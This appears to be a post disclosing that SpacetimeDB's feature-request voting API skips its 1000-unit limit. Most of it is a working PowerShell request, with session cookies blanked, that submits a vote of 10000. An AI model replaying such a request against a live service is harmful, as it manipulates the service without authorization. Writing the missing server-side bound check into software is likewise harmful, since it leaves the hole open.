As some features have more than one million TeV as committed energy, some may already have guessed it, but the API doesn't check that the number is <= 1000. You can copy the request made on button-press from the browser developer tools as CURL command (including the headers), change the body and send it.

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.UserAgent = "..."
$session.Cookies.Add((New-Object System.Net.Cookie("inkeepUsagePreferences_userId", "...", "/", "spacetimedb.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("spacetimedb_auth2", "...", "/", "spacetimedb.com")))
Invoke-WebRequest -UseBasicParsing -Uri "https://spacetimedb.com/features/requests/77.data" `
-Method "POST" `
-WebSession $session `
-Headers @{
"Accept"="*/*"
  "Accept-Encoding"="gzip, deflate, br, zstd"
  "Accept-Language"="en-US,en;q=0.9,de-DE;q=0.8,de;q=0.7"
  "Cache-Control"="no-cache"
  "DNT"="1"
  "Origin"="https://spacetimedb.com"
  "Pragma"="no-cache"
  "Referer"="https://spacetimedb.com/features/requests/77"
  "Sec-Fetch-Dest"="empty"
  "Sec-Fetch-Mode"="cors"
  "Sec-Fetch-Site"="same-origin"
  "sec-ch-ua"="`"Google Chrome`";v=`"153`", `"Not_A Brand`";v=`"8`", `"Chromium`";v=`"153`""
  "sec-ch-ua-mobile"="?0"
  "sec-ch-ua-platform"="`"Windows`""
} `
-ContentType "application/x-www-form-urlencoded;charset=UTF-8" `
-Body "intent=vote&amountTev=10000"